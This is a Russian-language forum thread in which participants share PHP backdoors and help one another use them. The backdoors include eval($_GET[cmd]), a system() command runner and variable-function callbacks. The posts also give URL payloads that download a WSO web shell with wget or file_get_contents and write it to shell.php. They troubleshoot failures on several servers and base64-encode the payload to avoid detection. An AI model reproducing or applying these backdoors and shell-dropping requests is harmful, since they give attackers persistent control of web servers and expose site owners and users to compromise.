тестирую на своем сервере, на site.ru/ в файл, index.php (или в любой др файл читаемый в браузере) прописываю это бэкдор: PHP: [CODE]<?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; } else { echo 'You are forbidden!'; } ?>[/CODE] не ругайте сильно - учусь... что мне нужно ввести в адресной строке, чтоб загрузить файл на сервер? вариант без использования куков, т е простой вариант есть? знаю, нужно исполнить команду: можно через eval, типа site.ru/index.php?f=eval.......???? подскажите что ввести в адресной строке для загрузки файла на сервер именно для этого бэкдора, буду каждому благодарен!
.php?param1=eval¶m2=wget http://site.com/wso.txt -O shell.php как-то так,возможно вместо eval надо будет писать exec,system и т.д ,использовать кодирование,вместо wget curl
команда рабочая, спасибо... но работает не всегда, из 5 серверов на один загрузило удачно! на остальные выдает это HTML: Warning: array_filter() expects parameter 2 to be a valid callback, function 'eval' not found or invalid function name in /var/www/u2847619/data/www/adgstroy.ru/index.php on line 3 OK иногда пишет ОК, по факту на серваке пусто. права нужные (в загружаемой категории уже лежит рабочий шелл), вариации перебрал exec,system и вместо wget curl... в чем может быть загвоздка?
да можно знаю, иногда получается с таким вариантом: <?php eval($_GET[cmd]); ?> Code: http://site.ru/cashe.php?cmd=$url = "http://ышеу2.ru/data/shell.txt";$content = file_get_contents($url);$h = fopen("shell.php","w");$text = "$content";fwrite($h,$text);fclose($h); опять же в меньше половины случаев(
Я имел другое ввиду, ваш код из первого поста можно сократить значительно, а использование eval прям в коде это паливо жестокое
PHP: if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST["cmd"]);echo "<pre>";system($cmd);echo "</pre>";die;}
поклон всем за ответы... опытным путем выявил, что самым рабочим вариантов является этот Code: <?php eval($_GET[cmd]); ?> но он и самый палевый! вопрос, можно ли его абфусцировать с сохранением работоспособности, если да - меняется ли кодировка запроса? сейчас запрос таков: Code: http://site.ru/index.php?cmd=$url = "http://site2.ru/text.txt";$content = file_get_contents($url);$h = fopen("text.php","w");$text = "$content";fwrite($h,$text);fclose($h);
Code: http://site.ru/index.php?cmd=base64_decode('JHVybCA9ICJodHRwOi8vc2l0ZTIucnUvdGV4dC50eHQiOyRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7JGg9Zm9wZW4oInRleHQucGhwIiwidyIpOyR0ZXh0ID0gIiRjb250ZW50Ijtmd3JpdGUoJGgsJHRleHQpO2ZjbG9zZSgkaCk7'); Кодировать тут http://securityxploded.com/online-base64-encoder.php Еще вот посмотри http://habrahabr.ru/post/215139 http://habrahabr.ru/post/215817/
спасибо за ссылки, ответ на свой вопрос там не нашел... в соседней ветки нашел что можно абфуцировать так Code: <?php eval(base64_decode('cGhwaW5mbygpOw')); ?> но зачем он это сделал я не понял, ведь функция eval как говориться наружу бархатом осталась.. смысл было это делать.. интересует конкретно вопрос: можно ли обфусцировать всю строку без потери работоспособности и меняется ли при этом кодировка в запросе?
разобрался ребята, за назойливость прошу простить для меня лучший варик это: Code: <?php $_REQUEST['f']($_REQUEST['c']); ?> file.php?f=assert&c=phpinfo(); file.php?f=eval&c=echo 1; проверил работает! дальше больше... и еще, eval часто не срабатывает - заменяем на exec или system и радуемся. Выше хороший человек подсказал: спасибо ему второй раз!
eval работает всегда а вот как раз таки system часто отключен, уверен на 100% передаешь в eval невалидный код вот и облом